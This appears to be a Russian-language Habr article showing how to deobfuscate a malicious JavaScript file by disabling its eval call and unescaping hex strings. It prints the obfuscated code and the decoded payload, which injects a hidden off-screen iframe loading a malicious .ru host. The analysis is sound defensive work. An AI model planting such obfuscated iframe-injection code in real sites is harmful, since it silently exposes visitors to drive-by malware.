Pull to refresh

Расшифровка вредоносного JavaScript

Information Security *
Здравствуйте, уважаемые пользователи хабра. После того, как я опубликовал данную статью, у пользователей появился интерес, и они стали спрашивать меня в ЛС и в комментариях, а как именно расшифровываются данные скрипты и что же именно такого делают данные коды.

Вступление


Так всё же, что делают эти скрипты? Чаще всего вредоносные JScript файлы устанавливаются «хакерами», для получения какой либо выгоды, а именно:
Пополнение своего ботнета, установка винлокеров, исправления файла hosts для перенаправления пользователей на фейковые сайты, ну и конечно же для обмена трафиком.

Так вот, я попробую подробно рассказать о том, как раскодировать вредоносный JavaScript и в последствии вычислить адрес, куда он ведет.


Подготовка


Программное обеспечение

Пользоваться я буду редактором NetBeans IDE 7.0. Во-первых, я всегда в нем работаю, а во-вторых, в нем очень удобно форматировать код. Но Вы можете использовать наиболее удобный Вам редактор.

Ищем вредоносный код

Я возьму ВРЕДОНОСНЫЙ скрипт из прошлой статьи, так что без антивируса туда лучше не лезть. Вот его адрес: goog1e-analitics.com/openapi.js. Для того, чтобы Вам лишний раз не бояться заразиться, и не совершать лишних действий, я скопировал и отформатировал его pastebin.com/BJ751scy
Кто хочет сам его отформатировать заходим в NetBeans => Исходный код => Формат

Первые действия


После того, как мы отформатировали код, и внесли его в html документ между тегами у нас получилось примерно следующее (На скриншоте не весь код)


Кратко о выполняемых действий


Как мы видим, сейчас скрипт у нас не читаем. Для его раскодировки, нам понадобится сделать всего несколько действий. Сейчас кратко: Закомментируем eval (Функция которая выполняет весь код), потом создадим переменную x С той частью кода, которая выполняется в eval. Вызовем переменную x функцией document.write(x);. Последним действие уберем 16-ричную систему функцией unescape().
На теории всё легко, а на практике еще легче!

Переходим к главному — практика



Как я писал выше, мы будем работать с данной функцией (У меня она начинается на 24 строчке файла, у Вас может быть по другому):


    $sA = function (_)
    {
        for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP)
        {
            $j += '\x25' + $P[$g++] + $P[$g--];
        }

       $E['eva\x6C']($E[$d.$fJ]($j));

    },


И так приступим. У нас есть строчка $E['eva\x6C']($E[$d.$fJ]($j)); Которую мы должны закомментировать. Делается это двумя слешами // $E['eva\x6C']($E[$d.$fJ]($j));
Далее ниже определяем переменную, и вызываем её, и у нас получается следующее:


    $sA = function (_)
    {
        for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP)
        {
            $j += '\x25' + $P[$g++] + $P[$g--];
        }

      // $E['eva\x6C']($E[$d.$fJ]($j));
       
         var x = $E[$d.$fJ]($j);
         document.write(x);

    },

Теперь ничего опасного нам не грозит, можем выполнить файл в браузере:



Скопируем полученный код, и отформатируем его:


var _q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),
    _n='s\x65\x74\x41\x74\x74\x72ibute';
    _q[_n]('\x73rc','http://vbnieewr\x2E\x72\x75\x2F\x69\x6E\x2E\x63\x67\x69\x3F\x64\x65\x66\x61\x75lt');
    _q.style.position='abs\x6F\x6C\x75\x74e';
    _q.style.width='16px';_q[_n]('fr\x61\x6D\x65border', nav\u0069\u0067\u0061tor.use\u0072\u0041\u0067ent.i\u006E\u0064\u0065xOf('f0a7a142b755172da72ff74a1ac25199')+1);
    _q.style.left = '-5597px';d\u006F\u0063ument.w\u0072ite('');
    \u0064\u006Fcument.getElementById('__dr11938').appendChild(_q);


Завершение



Теперь нам придется достаточное время повозиться, убирая 16-ричную систему. Делается это так:

Создаем файл index2.html с содержимым
<script></script>


Берем первую строчку из нашего первого файла (index.html)

var _q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),


Вставляем часть строчки в файл index2.html, вызываем её алертом, и получится вот такой код:

<script>
alert("q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),");
</script> 


Выполняем…

Копируем полученное, и заменяем это в первой строчке, и так проделываем со всеми строками, в которых есть 16-ричная система.

Результат



var _q = document.createElement('iframe'),
    _n = 'setAttribute';
_q[_n]('src', 'http://vbnieewr.ru/in.cgi?default');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('<div id=\'__dr11938\'></div>');
document.getElementById('__dr11938').appendChild(_q);


Ну вот, мы раскодировали вредоносный скрипт, и теперь можем понять, что же он делат. Именно этот скрипт создает ифрейм на адрес vbnieewr.ru/in.cgi?default.

Заключение


Уважаемые пользователи, следите за безопасностью Вашего проекта, ставьте надежные пароли, делайте бекапы, как можно чаще.

Также хочу поделиться с вами статьёй, которую написал пользователь Raz0r. Она написана по мотивам моего топика, а именно небольшой обзор 5 бесплатных онлайн сервисов для анализа и борьбы с malware.

Спасибо за внимание.
Tags:
Hubs:
Total votes 96: ↑82 and ↓14 +68
Views 18K
Comments 24
Comments Comments 24